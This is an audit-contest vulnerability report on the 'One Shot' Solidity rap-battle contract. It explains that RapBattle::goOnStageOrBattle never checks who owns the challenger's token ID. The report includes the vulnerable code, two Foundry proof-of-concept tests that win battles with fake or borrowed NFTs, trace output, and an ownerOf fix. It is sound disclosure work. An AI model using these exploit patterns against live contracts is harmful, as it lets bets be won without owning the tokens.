First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

The `challenger` can participate and win a battle with non-existing or someone else's `tokenId` due to lack of check in `RapBattle::goOnStageOrBattle` function

bube

Summary

The RapBattle::goOnStageOrBattle function allows the second participant in the battle (challenger) to participate in the battle with non-existence or someone else's tokenId.

Vulnerability Details

The RapBattle::goOnStageOrBattle function allows users to battle their Rappers. The function doesn't check if the input argument _tokenId is a valid ID. If the defender calls the function with invalid _tokenId the oneShotNft.transferFrom function will revert and the transaction will fail. But if a defender is waiting for a battle and challenger calls the function with invalid or someone else's _tokenId, the function will call the internal _battle function with this _tokenId as first argument.

​
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
@> _battle(_tokenId, _credBet);
}
}

The RapBattle::_battle function also doesn't check the existence and the ownership of the _tokenId:

​
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
@> uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
​
uint256 random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
​
// Reset the defender
defender = address(0);
emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender);
​
// If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose
if (random <= defenderRapperSkill) {
// We give them the money the defender deposited, and the challenger's bet
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
// Otherwise, since the challenger never sent us the money, we just give the money in the contract
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
// Return the defender's NFT
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
​

The RapBattle::_battle function calls the RapBattle::getRapperSkill function with argument _tokenId to retrive the rapper skills of the defender and challenger.
The RapBattle::getRapperSkill function also doesn't check the validity of the input argument _tokenId:

​
function getRapperSkill(uint256 _tokenId) public view returns (uint256 finalSkill) {
@> IOneShot.RapperStats memory stats = oneShotNft.getRapperStats(_tokenId);
finalSkill = BASE_SKILL;
if (stats.weakKnees) {
finalSkill -= VICE_DECREMENT;
}
if (stats.heavyArms) {
finalSkill -= VICE_DECREMENT;
}
if (stats.spaghettiSweater) {
finalSkill -= VICE_DECREMENT;
}
if (stats.calmAndReady) {
finalSkill += VIRTUE_INCREMENT;
}
}

The RapBattle::getRapperSkill function calls the OneShot::getRapperStats to retrieve the RapperStats for a given _tokenId.

function getRapperStats(uint256 tokenId) public view returns (RapperStats memory) {
return rapperStats[tokenId];
}

We see that the OneShot::getRapperStats function also doesn't perform a check if the input argument tokenId is valid. If the tokenId is non-existing token, the function will return the default values for rapperStats: RapperStats({weakKnees: false, heavyArms: false, spaghettiSweater: false, calmAndReady: false, battlesWon: 0});
Then the RapBattle::getRapperSkill function will return finalSkill = BASE_SKILL; which is 65. So the challenger who provided invalid _tokenId will have challengerRapperSkill equals to 65.

Impact

The challenger is the second person of the battle. The challenger doesn't transfer the rapper token to the RapBattle contract. And the existence or ownership of the provided tokenId from challenger is not checked in the RapBattle::goOnStageOrBattle function. Therefore, the challenger can participate in a battle with non-existing token or with tokenId of someone else. In both cases the challenger can win the battle and receive the _credBet without actually to have rapper token.

Let's consider the following scenario: There is user (Alice) who has minted a rapper token and calls the RapBattle::goOnStageOrBattle function to participate in a battle. Now the user is waiting for opponent. The challenger (Slim Shady) calls also the RapBattle::goOnStageOrBattle function with non-existing tokenId as first argument. There is no check for that and the battle begins. His rapperSkill is 65. The test function testGoOnStageOrBattleOpponentWithNonExistingTokenId shows the described scenario:

function testGoOnStageOrBattleOpponentWithNonExistingTokenId() public mintRapper {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
rapBattle.goOnStageOrBattle(0, 0);
uint256 finalSkillUser = rapBattle.getRapperSkill(0);
console.log("UserSkill", finalSkillUser);
vm.stopPrank();
​
vm.startPrank(challenger);
//Challenger calls the goOnStageOrBattle battle with non-existing tokenId
rapBattle.goOnStageOrBattle(1, 0);
uint256 finalSkillChallenger = rapBattle.getRapperSkill(1);
console.log("ChallengerSkill", finalSkillChallenger);
}

After the execution of the test function we can see that the challenger has won the battle and received the _credBet in this example 0. Here is part of the traces. You can execute the test function using the foundry command:
forge test --match-test "testGoOnStageOrBattleOpponentWithNonExistingTokenId" -vvvvv

...
├─ [1183] OneShot::getRapperStats(0) [staticcall]
│ │ └─ ← RapperStats({ weakKnees: true, heavyArms: true, spaghettiSweater: true, calmAndReady: false, battlesWon: 0 })
│ ├─ [5183] OneShot::getRapperStats(1) [staticcall]
│ │ └─ ← RapperStats({ weakKnees: false, heavyArms: false, spaghettiSweater: false, calmAndReady: false, battlesWon: 0 })
│ ├─ [0] console::log(67) [staticcall]
│ │ └─ ← ()
│ ├─ emit Battle(challenger: Slim Shady: [0x2c0169543641108F2d2c34489DBDab1A54cF59b2], tokenId: 1, winner: Slim Shady: [0x2c0169543641108F2d2c34489DBDab1A54cF59b2])
...

Now, let's consider the second scenario: There is user (Alice) who has minted a rapper token and staked it for 4 days. So the user has updated rapperStats and 4 Cred. Bob has done the same thing. He also has updated rapperStats and 4 Cred. Bob's tokenId is 1. Bob calls RapBattle::goOnStageOrBattle function with his tokenId and _credBet equals to 1. Now Bob is waiting for opponent. Challenger (Slim Shady) calls the RapBattle::goOnStageOrBattle function with user's tokenId and _credBet equals to 1. There is no check if the challenger is the owner of the tokenId and the battle begins. The challenger uses the rapperSkill of someone else's rapper.
The test function testGoOnStageOrBattleOpponentWithStolenTokenId shows the described scenario:

function testGoOnStageOrBattleOpponentWithStolenTokenId() public mintRapper {
vm.startPrank(user);
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.stopPrank();
​
address bob = makeAddr("bob");
vm.startPrank(bob);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.stopPrank();
​
vm.warp(4 days + 1);
vm.startPrank(user);
streets.unstake(0);
vm.startPrank(bob);
streets.unstake(1);
oneShot.approve(address(rapBattle), 1);
cred.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(1, 1);
uint256 finalSkillBob = rapBattle.getRapperSkill(1);
console.log("BobSkill", finalSkillBob);
vm.stopPrank();
​
vm.startPrank(challenger);
cred.approve(address(rapBattle), 1);
//Challenger calls the function with user's tokenId
rapBattle.goOnStageOrBattle(0, 1);
uint256 finalSkillChallenger = rapBattle.getRapperSkill(0);
console.log("ChallengerSkill", finalSkillChallenger);
vm.stopPrank();
}

After the battle is finished and the function is executed we can see that the winner is the challenger and he received the _credBet that is equal to 1. The challenger won this battle with someone else's rapper token. Part of the traces of the testGoOnStageOrBattleOpponentWithStolenTokenId test function can be seen below. You can execute the test function using the foundry command:
forge test --match-test "testGoOnStageOrBattleOpponentWithStolenTokenId" -vvvvv

...
├─ emit Battle(challenger: Slim Shady: [0x2c0169543641108F2d2c34489DBDab1A54cF59b2], tokenId: 0, winner: Slim Shady: [0x2c0169543641108F2d2c34489DBDab1A54cF59b2])
│ ├─ [20116] Credibility::transfer(Slim Shady: [0x2c0169543641108F2d2c34489DBDab1A54cF59b2], 1)
│ │ ├─ emit Transfer(from: RapBattle: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], to: Slim Shady: [0x2c0169543641108F2d2c34489DBDab1A54cF59b2], value: 1)
│ │ └─ ← true
...

The function RapBattle::goOnStageOrBattle should not allow to participate in battle with non-existing or someone else's rapper token.

Tools Used

Manual Review, Foundry

Recommendations

Add a check in the RapBattle::goOnStageOrBattle function to ensure that the msg.sender is an owner of the provided tokenId:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "The caller is not the owner of the token");
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.